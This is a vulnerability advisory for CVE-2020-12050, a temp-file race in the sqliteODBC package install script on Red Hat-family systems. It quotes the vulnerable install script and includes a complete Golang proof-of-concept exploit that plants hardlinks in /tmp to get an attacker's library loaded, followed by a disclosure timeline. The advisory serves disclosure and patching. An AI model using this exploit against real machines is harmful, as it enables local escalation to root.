Description

A vulnerability has been introduced in the package that installs sqliteODBC in Red Hat / CentOS / Fedora distributions.

Threat

Privilege escalation to root

Vulnerability records

CVE ID: CVE-2020-12050

Access Vector: local

Security Risk: low

Vulnerability: CWE-377

CVSS Base Score: 4.5

CVSS Vector: CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

Details

The sqliteODBC package install script saves a part of his configuration file in the /tmp folder, before running the odbcinstall script on it:

if [ -x /usr/bin/odbcinst ] ; then
    INST=/tmp/sqliteodbcinst$$

    if [ -r /usr/lib64/libsqliteodbc.so ] ; then
        cat > $INST <<- 'EOD'
            [SQLITE]
            Description=SQLite ODBC 2.X
            Driver=/usr/lib64/libsqliteodbc.so
            Setup=/usr/lib64/libsqliteodbc.so
            Threading=2
            FileUsage=1
        EOD

        /usr/bin/odbcinst -q -d -n SQLITE | grep '^\[SQLITE\]' >/dev/null || {
            /usr/bin/odbcinst -i -d -n SQLITE -f $INST || true
        }

The temporary configuration file is saved during the installation using the following name /tmp/sqliteodbc$$ (where $$ is the PID of the process).

As the configuration file is using a predictable name, we can try to perform a race in order to write new contents before the file is loaded by odbcinstall.

The PID of a process is incremental, so we just have to pre-create a bunch of hardlinks in the /tmp directory that target our payload.

Proof of Concept

We created the following Golang exploit code, that works nearly all the time during the installation of sqliteodbc:

package main

import (
    "fmt"
    "os"
)

func SpreadHardlinks(pid int) {
    maxPid := pid + 100
    fmt.Println("[+] Creating hardlinks...")
    for pid++ ; pid < maxPid; pid++ {
        target := fmt.Sprintf("/tmp/sqliteodbcinst%d", pid)
        err := os.Link("/tmp/race.ini", target)
        if err != nil {
            panic(err)
        }
        fmt.Printf("[~] Created hardlink : %s\n", target)
    }
}

func main(){
    const poc = `
[default]
Description=Sysdream ODBC
Driver=/tmp/poc.so
Driver64=/tmp/poc.so
Setup=/tmp/poc.so
Setup64=/tmp/poc.so
Threading=2
FileUsage=1
`
    pid := os.Getpid()
    fmt.Printf("[~] Current pid : %d\n", pid)

    fmt.Println("[+] Attempting to win the race, watch for changes in /etc/odbcinstall.conf !")

    f, err := os.OpenFile("/tmp/race.ini", os.O_CREATE | os.O_RDWR, 0700)
    if err != nil {
        panic(err)
    }
    SpreadHardlinks(pid)

    for {
        f.Seek(0, 0)
        f.WriteString(poc)
        f.Sync()
    }

    f.Close()
}

That way, every time a program tries to use unixODBC, the /tmp/poc.so library will be loaded, enabling privilege escalation to the attacker.

The screencast below illustrates this exploitation process:

Affected versions

  • Tested on sqliteodbc-0.9996-4.fc31.x86_64.rpm

Solution

Timeline

  • 2020-03-12 Initial discovery.
  • 2020-03-24 Contacting Red Hat security team ([email protected]).
  • 2020-03-25 Red Hat acknowledgement stating that the report is under review.
  • 2020-04-16 Follow-up e-mail as we don't get any more news.
  • 2020-04-16 Automatic reply from Red Hat.
  • 2020-04-20 No news, so we open a bug report on the Fedora side.
  • 2020-04-21 Notifying [email protected] of the Fedora bug report.
  • 2020-04-21 After having some hard time explaining the vulnerability, it's acknowledged on the Fedora side.
  • 2020-04-22 First patches are submitted to the Fedora testing repositories.
  • 2020-04-30 Patches are available to the main Fedora repos.

All in one, our experience with reporting bugs has been surprisingly poor.

The official reporting channel, [email protected], never replied to us. We presume that our report was not reviewed properly, as no question or feedback has been provided to us.

Damian Wrobel, the Fedora maintainer, deserves credits: he did his best to understand the issue, was quick to answer and push patches.

However, we think that this is not how security alerts should be dealt with.

The official CERT/SoC should:

  • analyze and qualify security vulnerabilities ;
  • react quickly and provide clear and understandable feedback, whether a report is accepted or rejected ;
  • enable to report security vulnerabilities confidentially (better than public bug reports) ;
  • coordinate mitigation and patches between all Red Hat derivatives.

Credits

  • Nicolas Chatelain, Sysdream (n.chatelain -at- sysdream -dot- com)